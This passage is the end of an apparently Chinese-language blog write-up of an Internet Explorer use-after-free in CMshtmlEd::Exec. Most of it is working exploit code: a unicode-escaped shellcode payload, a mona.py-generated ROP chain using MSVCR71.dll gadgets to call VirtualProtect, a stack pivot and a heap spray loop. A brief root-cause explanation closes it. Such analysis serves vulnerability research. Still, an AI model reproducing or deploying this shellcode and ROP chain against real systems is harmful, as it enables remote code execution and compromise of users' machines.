    var Shellcode = unescape("%u7dbd%u35c4%udbef%ud9c9%u2474%u5ff4%uc931%u42b1%u6f31%u8314%u04c7%u6f03%u9f10%uec31%uc404%u7b63%u0eff%u56a2%u994d%u9ff4%ueed6%u2f86%u869c%udb64%u7ad4%u9dfe%u0910%u027e%u3baa%u0d47%u36b4%uc844%u69c5%u0a55%u02a5%ue9c6%u9f02%uce52%ucbc1%u5674%u19d7%uec0f%u56cf%ud14a%u83ee%u2588%ud8b8%ucd7b%u303b%u2eb2%u0c0a%u7c49%u4ce9%u7ac6%u8333%u842a%uf074%ubdc1%u2206%ub702%ua117%u1308%u5ed9%ud0ca%uebd5%ubd98%ueaf9%uca75%u6706%u2588%u338f%ua9af%u78f1%ud91d%uaad8%u3feb%u9093%u3184%u1aea%u1cb9%ubd1b%u5ebe%u4824%ua505%u3460%u475e%u4fe5%uac42%ua758%u53f5%uc8a3%ue983%u5e54%u9df8%udf44%u6d68%uf1b7%uf90c%u7ec2%u8ba8%u5b1c%u30ba%u5179%u2e32%u9ad7%uab11%ua651%u08ca%u84c9%ud2a6%ud48d%u791c%ubb7a%u82a3%u2b85%u1e32%uf312%u94a2%u7180%u3d52%u1c22%ud3f5%u059d%u777d%ub2fa%u6bf7%uaa6a%u0464%u5a33%ub61f%ufbb1%u51b7%u9a5f%uaf29%ud456%uebfa%u6d63%uc5e3%u3fa1%u74b7%u4014%u46e7%uee58%ufcf7%u4150");

    //rop chain generated with mona.py - www.corelan.be
    rop_gadgets = unescape(
        "%u6cc8%u7c36" + // 0x7c366cc8 : ,# POP EBP # RETN [MSVCR71.dll] 
        "%u6cc8%u7c36" + // 0x7c366cc8 : ,# skip 4 bytes [MSVCR71.dll]
        "%u2b26%u7c37" + // 0x7c372b26 : ,# POP EBX # RETN [MSVCR71.dll] 
        "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
        "%u5249%u7c34" + // 0x7c345249 : ,# POP EDX # RETN [MSVCR71.dll] 
        "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
        "%uf742%u7c34" + // 0x7c34f742 : ,# POP ECX # RETN [MSVCR71.dll] 
        "%uf59b%u7c38" + // 0x7c38f59b : ,# &Writable location [MSVCR71.dll]
        "%u2766%u7c34" + // 0x7c342766 : ,# POP EDI # RETN [MSVCR71.dll] 
        "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
        "%u600b%u7c36" + // 0x7c36600b : ,# POP ESI # RETN [MSVCR71.dll] 
        "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
        "%u678f%u7c37" + // 0x7c37678f : ,# POP EAX # RETN [MSVCR71.dll] 
        "%ua151%u7c37" + // 0x7c37a151 : ,# ptr to &VirtualProtect() + 0x11 [IAT MSVCR71.dll]
        "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] 
        "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
        "");


    stack_pivot = "u8b05u7c34"; // 0x7c348b05
    ret = "u7f98u7c34"
    pop_ret = "u7f97u7c34" //pop eax ,ret

    rop_gadgets  = rop_gadgets + NopSlide.substring(0, 32);

    var OBJECT = Padding + call0c + ret + pop_ret + stack_pivot + rop_gadgets + Shellcode + NopSlide.substring(0, block_size - Padding.length - Shellcode.length - rop_gadgets.length - 4*4/2 );;

    //alert(OBJECT.length);
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb(0x10000-32)
    //bp mshtml!CFormElement::DoReset+0xe4
    //alloc 
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }

    </script>

    <iframe src="./exp1.html"></iframe>

  </body>
</html>

效果:

这里写图片描述

漏洞总结

document.execCommand("selectAll");的执行生成了CMshtmlEd对象,跟着selectAll又触发了funcA,从而执行document.write("B");,导致之后在CMshtmlEd::Exec中的
CCommand::Exec函数释放了CMshtmlEd对象,而且并没有把对象的指针置空,但在CMshtmlEd::Exec后续执行中还是用到CMshtmlEd对象的this指针edi,导致释放后重用漏洞

原文地址:https://www.cnblogs.com/cnsec/p/13286510.html